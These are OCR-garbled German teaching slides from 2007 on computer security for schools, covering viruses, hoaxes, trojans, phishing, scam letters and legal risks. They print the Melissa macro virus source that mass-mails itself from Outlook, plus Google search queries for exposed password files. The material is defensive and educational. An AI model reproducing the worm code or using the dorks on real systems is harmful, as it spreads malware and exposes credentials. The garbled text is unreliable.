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Virus Construction Kits
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Microsoft Word

[
Please Check Your OutLook Inbox E-Mail | W r m M e I I S S a
|
T |.4I

................................

Set UngaDasOutlook = CreateObject ("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace ("MAPI")
If System.PrivateProfileString("", "HKEY CURRENT USER\Software\Microsoft\Office\", "Melissa?") <> "...
by KwyJjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists (y)
x =1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries (x)
BreakUmOffASlice.Recipients.Add Peep
Xx = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next vy
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY CURRENT USER\Software\Microsoft\Office\", "Melissa?") = "...
by Kwyjibo"
End If
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Top Ten 2007
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Hoax

Februar 2007
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Hoax Beispiel |/3

Der Aufthanger
> Subject: Viruswarnung
>VIRUSWARNUNG'!

> Es wurde gerade ein neues Virus festgestellt, den Microsoft und

> McAfee als den bisher gefahrlichsten Virus iberhaupt bezeichnen!

> Dieses Virus wurde erst am Freitag nachmittag von McAfee
> festgestellt und wird noch nicht von Virenscannern erkannt. Das
> Virus zerstort den Null-Sektor der Festplatte, wo wichtige

> Informationen fir die Funktion der Festplatte gespeichert sind.
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Hoax Beispiel 2/3

Die Drohung

vV VVV VYV VVVV VYV V VYV VYV YV YVVYV

Die Funktionsweise des Virus ist wie folgt:

Das Virus versendet sich automatisch an alle Kontaktadressen
aus dem Email-Adressbuch und gibt als Betrefftext

"A Virtual Card for You" an.

Sobald die vorgebliche virtuelle Postkarte geocffnet wird,
bleibt der Rechner hangen, sodass der Anwender einen Neustart

vornehmen muss.

Wird nun die Kombination [Strg]+[Alt]+[Del] oder der Reset-Knopf am
Rechnergehause gedriuckt, loscht das Virus den Null-Sektor der
Festplatte, womit die Festplatte dauerhaft unbrauchbar ist. Wenn Sie
also eine Nachricht mit dem Betreff "A Virtual Card for You"
erhalten, offnen Sie diese mail KEINESFALLS, sondern loschen Sie die

Nachricht sofort.

Am Freitag hat dieses Virus Innerhalb weniger Stunden geradezu eine
Panik unter EDV-Usern in New York verursacht, wie CNN berichtet
http://www.cnn.com <http://www.cnn.com

<http://www.cnn.com<http://www.cnn.com> >>
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Hoax Beispiel 3/3

Die Aufforderung

> Bitte leite das vorliegende Mail an alle Personen in Ihrem
> Email-Verzeichnis weiter. Es ist sicherlich besser, diese

> Nachricht 25 Mal zu erhalten, als gar nicht!
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Hoaxes/Kettenbriefe
Soziale Viren

Aufbau
Aufhanger
Drohung
Aufforderung
Erkennungsmerkmale
Technische Sprache
Glaubwurdigkeit durch Autoritat

., Schick mich an Alle!*

Norman Rockwell, Gossip
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jdbgmgr.exe

Hallo lhr,

mir hat leider jemand ein Virus geschickt, der sich automatisch an alle
im personlichen Adressbuch aufgelisteten E-Mail-Adressen versendet.
Es ist also zu befurchten, dass alle, die in meinem Adressbuch stehen,
nun dieses Virus auf ihrem C-Laufwerk sitzen haben.

Das Virus soll nach 14 Tagen aktiv werden und zerstort dann das
Betriebssystem.

Es ist aber ganz leicht, ihn zu finden und ihn zu eleminieren:

|. Auf "start" klicken

2.Auf "Suchen" klicken

3. In "Suchen" auf Dateien/Ordner klicken und den Datei-Namen des Virus’
eingeben: jdbgmgr.exe

Achtung: Es muss im Laufwerk C uberpruft werden

Das Virus hat einen grauen Teddybaren als lcon.

4.Wenn es tatsachlich auf Laufwerk C gespeichert ist nicht offnen,
sondern nur | x anklicken und sofort loschen.

5. Das muss dann auch unbedingt sofort im Papierkorb gemacht werden..
6 Jetzt ist das Virus auf deinem PC weg.
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Kettenbriefe

Pyramiden-Systeme (Schneeball-Systeme, 'Make Money Fast')
Gewinnspiele und Artverwandtes

Glucksbriefe

Tranendrisen-Briefe (engl. "Charity Hoaxes") (s. 0.)

Sinnlose E-Petitionen

Urban Legends
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Trojanische Pferde

Nicht-Reproduzierend

Nicht-Infizierend

Verdeckte Schadensroutine:

Daten loschen oder verandern
Password Sniffer
Keylogger

Backdoor
(Back Orifice, NetBus)

dDOS
Spam

Spyware
Rootkit (Sony XCP Aurora)

Der Trager (dropper) ist nicht der Schadling (payload)



GI-IBBB 2007

Jochen Koubek

weeware R

B Host | Lot Heb

Netbus

e Manager

Local [l Oacumerts and Setrgd Adrurant stor' Degh 3op

Noyve Sore | Tywe M ey
| My Comprtm Comton, F ohder
’ m My Kottt Plaes Soytonm Fobde
E ‘3 Hecoych B Cytom F okde
' :2 wWrele "Wa Shaonos INENCE
J'web F e Fchdor 1270.20Mm
8] s 2 pdddy te *5 Tewt D ocumerd 12002 41
Jw«c:o ~ 1[5 Vet Document 1A% Xe
o My Shged Fokde WS Shaonous 127335700 £
 Nove -~ Sqe LI L.
* B Docurert: e Setrg: Fie Folder 1728/ 2
Db oweraoadnt Fie Fokd 1279000 Y
' | 2 My Documert: File Fokder 1273002001 €
I My Domeriond £ let F e Foldee 1A NE 2!
CL 00 My M File Fokder 1 2250200 £
- Evagam F ey F e Fobdes 272X 4
. 5 RRA | F i Fokder 1/4/2002 42
20 Video F e Fobde 252X *
FH 0 S
, -

Dosriond Me

.._.) Server 0w .DG"'.'®'
[
£ .
37 O varege
| Dipstrgnnn o Mo manager
BT ) et rnm
& Rogstry manager
B 50urd systen
ﬂ&ww
1§ Port redect
8 Aok oten redrect
Parsobes control
{'jﬂuam ’
W 5oy hanctiors ’
B o wndons

KCarewcted 59 127.0.0.1 [v.2.10)

...
v
o

% NetBur Pro

Ele Haw | Corkol Heb

..'v Server advw 'Pﬁ.".t@.
W bt rio »

Ss }
57 Massage maragm
o File manager

BOEER ©1 Wedon varagm

% Rogeny manage

S Sont gen

B Puge nerage

& Pot sedrect

TP ook amon redeect

Aeccie cortal

5ﬂom

'_i"mﬂh—

B £ wesom '=Cc~nann-m
~ Caphure comeny woe

) Oukitan R Aecond sound




J'—.‘..“‘s‘-.'

m G a.,-.’ ¥ hrip:/ www. Mdcwopm nets

e —— e ———— o —

MHome » Artikel

c)‘#"o"m«n "-l. - ,‘.‘_ 4 e e o-- ..... -
, 27, Februar 2007 10 40 2 User crdine

Sens

& Hauptmenu Liebe Mitbdrgerinnen, licbe Mitburger @ Login
Yo : SONDERAKTION! Berstrerneme:
ot M E t zx
S Dty Instamieren See den Bundestrojaner fetzt und erhalten Sie ein Jahr e
* Forum Telefonuberwachung gratis dazy '

* Gistabuch y '

* Inhalte ‘ {togn)

* Links ,Sac haben es sicherlich durch die Medien erfahren, dass ich sinen Passwort

« Suche | Bundestrofner einsetzen mochte um die freihetiich-demokratischen . vergessen?

* Testberichte :Gmr\droa\to der Bundesrepudlik auch in Zukunft 2u bewahren. » Neuen Banutror

« Themen : . anmaeicen
Dl | Wir leben in schweren Zeiten, standig missen wir Angst vor :

* Upndragen Terroranschidgen haben, e wird Aok otlsulen usd as wardi liiing  [@DIINGS

i

' neue Kinderpornos produziert. .+ Trojaner Info (11)

| 1ch fordere: Schiuss dami! 50 Opposition

| 1ch habe die Wurzel allen Ubels gefunden. Den Ort wo sich cdie Verbreche'
Lund Terroristen verschworen und ihre Aktionen planen, Sie ahnen es
L scher schon, es st das Imermnet.

.- e e - r. - e ew—--

| Daher fordere ich jeden anstandigen Bundesburger auf sich den

| Bundestrojaner aufl seiner Onlinefestplatte bzw. seinem Computer zu W Umfrage
lmstallteren denn wer nichts zu verbergen hat, der braucht sich auch Der

| keine Sorgen machen. ‘Bundestrojaner..

: ) ..ist ein

' Sie haben nichts zu verbergen? Dann soiiten Sie umgehend den Meilenstein in
Bundestrojaner instaleren! Sachen

; Staatssicherteit!
: ) ..natte schon vor
| Exddusv fur Sie habe ich soeben eine erste Beta - Version des Jatven cingefGhet

ol

| Bundestrolaners haochaeladen. Ich machte [hnen warmstens anemafenhlen warden sallan)



GI-IBBB 2007 Jochen Koubek 08. Marz 2007

18] x|
>

iJJ" ) (i) ) s S cremte @de &) | (00 g T |
Emm F @) M1p (ot cnsteesh ogsgot con EIe e ™

Pubistes vevfen] Clans 3 Code
ey i esncen

Cason Ertomet Modas ire sated: hat tha corderd a
e Vou shondd ondy il vew thes content § you st
Ertemet Neda Irc %o rar » B asiedor,

7 Ahwapt ust cortert hom Ertemet Meda Inc

Yer HF—E_“l e Ik |

Acting tough, LUna e most

important thing Is

About Me Sunday, February 20, 1005
Name Muhammad Linall } i
Location Singspore, Not feeling well, again.
Hougang, Singapore Well, &3 the heading go#s, | am not fealing s0 well, | have not -]
@) Cpmring sage hetp: Vdwyight-cutteesd Biogspce comy .. R @ e

£ start] g5 ) ©) ureried - Wedows ed [0 ves 1 hear you, yes, v Tv 951 MM




GI-IBBB 2007 Jochen Koubek 08. Marz 2007

Browser Helper
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Advertising-supported software
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= Sicherheitslocher 2006

r=—a ;..'-r} Top 5: 57% aller Sicherheitslocher
...,;.(.“..,..p.c.. XSS, Cross Side Scripting (13,9%)
o . Buffer Overflows (13,3 %)
EEEES SQL-Injections (8,7%)

Buffer Directory Traversal (4,7%)
Overtlow PHP-Include (3,5%)
Attacks

http://cwe.mitre.org/documents/vuln-trends.html

4
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_vti_inf.html (694 hits)
service.pwd (11,800 hits)
users.pwd (23 hits)
authors.pwd (22 hits)

administrators.pwd (22 hits)
shtml.dll (780 hits)
shtml.exe (761 hits)

fpcount.exe (1,370 hits)
default.asp (2,170 hits)
showcode.asp (4 hits)
sendmail.cfm (5 hits)
getFile.cfm (7 hits)
imagemap.exe (510 hits)
test.bat (353 hits)
msadcs.dll (8 hits)
htimage.exe (513 hits)
counter.exe (164 hits)

browser.inc (11 hits)
hello.bat (18 hits)
default.asp\\ (2,170 hits)

dvwssr.dll (571 hits)
dvwssr.dll (571 hits)

' .
dvwssr.dll (571 hits)
cart32.exe (9 hits) a ln
add.exe (38 hits)

index.JSP (998 hits)

index.jsp (998 hits)

SessionServlet (46 hits) FOR FEIRETRATION TESTERS
shtml.dll (780 hits) I e i =t ]

index.cfm (473 hits) -ll-p-‘t::v---—-—-'n- - o g Mt
page.cfm (5 hits) P PP UG
shtml.exe (761 hits) Pegretig & W o P b d s o e .
web_store.cgi (16 hits) B S Gt R s, |
shop.cgi (63 hits) , ¢ Nt Custove

upload.asp (27 hits)
default.asp (2,170 hits)
EE??;‘%?"IL s()f’ hits) http://johnny.ihackstuff.com/index.phpmodule=prodreviews
test-cgi (1,560 hits)
finger (23,900 hits)
Count.cgi (8,710 hits) Z. B.

jj (5,600 hits)

php.cgi (170 hits)

php (48,000 hits)

nph-test-cgi (132 hits) ﬁletype:htpasswd htpasswd
handler (9,220 hits)

webdist.cgi (35 hits)

webgais (37 hits) . .

websendmail (12 hits) intitle:"Index of"' master.passwd
faxsurvey (27 hits)

htmlscript (50 hits)

perl.exe (340 hits) . .

wwwboard.pl (455 hits) Intltlei"|ndeX Of" usel"S.de
www-sql (26,500 hits)

view-source (641 hits)
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Bothets

Aufbau durch
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Trojanische Pferde

Sicherheitslocher
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Distributed Denial of Service

0"('.
Yictim

1. Account Hacken

2. Ziele identifizieren

3. Rechner angreifen

4. dDOS Netzwerkfestlegung
5. Automatische Installation

6. Masterinstallation

7. Angriff
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Kompetenzen (Klasse 5-7)

Von: Network Security Section <lbhnihitlybmz@technet.msn.net>
HSetreff. Current Internet Security Pack
Datum: 20. September 2003 20:45:06 MESZ
An: Consumer <consumer_aehciswn@technet.msn.net>
» # 3 Anhénge, 107 KB ( Alle sichern... )

Schilerinnen und Schiiler beschreiben anhand einer Liste von E-Mails

Auftilligkeiten (Adressen, Betreffs, Inhalt, Attachments).
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vodiic.exe (104 KB
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Aufklarung

Backups anlegen

Keine dubiosen
Attachments offnen

Keine Kettenbriefe
weiterleiten

Anti-Malware-Software

Firewall
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Merkmale

Achten Sie auf die Warnsignale!J

Unidare Eine personliche

Absenderadresse Anrede fehit Es fehlt eine personliche
Kundenummer

Ein offizielles Logo
boweist nicht die
Echtheit der Mail

Der Inhalt erschaint
/ glaubwurdig. doch die
mangethafte Recht.
schreibung und dwe
fohlenden Umisute

wie A O U soliten
stutzig machen
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die wirkliche URL

r —— Der  Phishing-Link™ sieht echt
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LJunsubscribe®
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Angebot

(N - . e =9
[-NaAx) achen MW\. Artecrten Analle  Wezerfenen  Drucken
Von: Simon <smuzender0! @netscape net>
Setrell. Geschaftiches Angebot
Datum: 20. Mérz 2005 1854 53 VEZ
Antwort an: smuzenderD1 @netscape net

Sie mogen Goerrascht sein, diesan Brief von mir zu erhalten, da Sie mich

nicht persdnlich kennen. Der Grund meiner Vorstellung ist, dass ich Simen
Muzenda der a%este Sohn von Paul Muzenda bin , einem Famer in Simbabwe,
der klrzlich im Landstreit in meinem Land ermordet wurde.

ich bekam den Kontakt zu Ihnen Uber das Intemet, daher beschioss ich Thnen
zu schresben.

Vor dem Tod menes Vasers hame er mich mit nach Johannesburg genommen, um
8.5 Millionen US-S in einer privaten Sicherheitsfirma zu hinterlegen, ca er

die lavernce Gefahr in Simbabwe voraussah, legte er sein Geld in Form von
Edelsteinen an. Die Summe war gedacht zum Erwerd neuer Maschinen und
Chemikaten ir die Farmen und zur Etablierung einer newven Fam in
Swaziand.

Die Landprobleme begannen, als unser Prasident Robert Mugabe eine Landreform
eintihne, die sich vorwiegend auf weibe reiche Famer und enige wenige
schwarze Farmer auswirde und in der Ermordung und Ubertallen curch
Kriegsveleranen und ainige andere Geistesgestine giplelte. Tatsachlich
wyurden ene Menge Menschen ermordet, eines der Opler war mein Vater,
Wegen deses Hinlergrundes fioh ich mit mainer Familie aus Simbabwe, um
unsme Ledben zu reten und lebe vorubergehend in den Niederdancen, wo wirum
politsches Asyl ersuchen und beschiossan haben, das Geld menes Vaters zu
transferieren auf oin besser erreichbares auslandisches Konto, da die

Gesetze der Nvederande einem FlOochlling verbietan ésn Komo zu erdiinen
oder in igendweiche finanziellen Transaktionen innerhaldb der Niederdande
INvoivien zu sean.
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Teil lll: Rechtliche Sicherheit

Mirz 2005: Die Berliner Anwaltskanzlei
Wollmann und Partner mahnen
Websitebetreiber ab, die Songtexte
bekannter Popstiicke ohne kommerzielles
Interesse veroffentlichen. Den
Webmastern werden die Abmahnungen

mit 1600 Euro pro Songtext in Rechnung

gestellt. Insgesamt werden tiber 200 gleich

lautende Abmahnungen verschickt,

darunter auch an Schiiler, die Fanseiten

fiir thre Lieblingsbands betreiben.

Oktober 2002: Hewlett-Packard mahnt Februar 2004: Ein 17-Jahriger Schiiler erhilt eine

einen 16-ahrigen Schiiler ab, der unter den Abmahnung einer von der IFPI beauftragten

Domains HP-Waridde und EP-Worid com Anwaltskanzlei, weil er auf E-Bay dltere Computer-

Hinweise zum Bau von Home-Pages Bild-CD-ROMs anbot, die genauso alte Programme

. : enthielten, mit denen kopiergeschiitzte Medien
veroffentlicht.

kopiert werden kdnnen, was seit dem neuen

Urheberrechtgesetz verboten ist.
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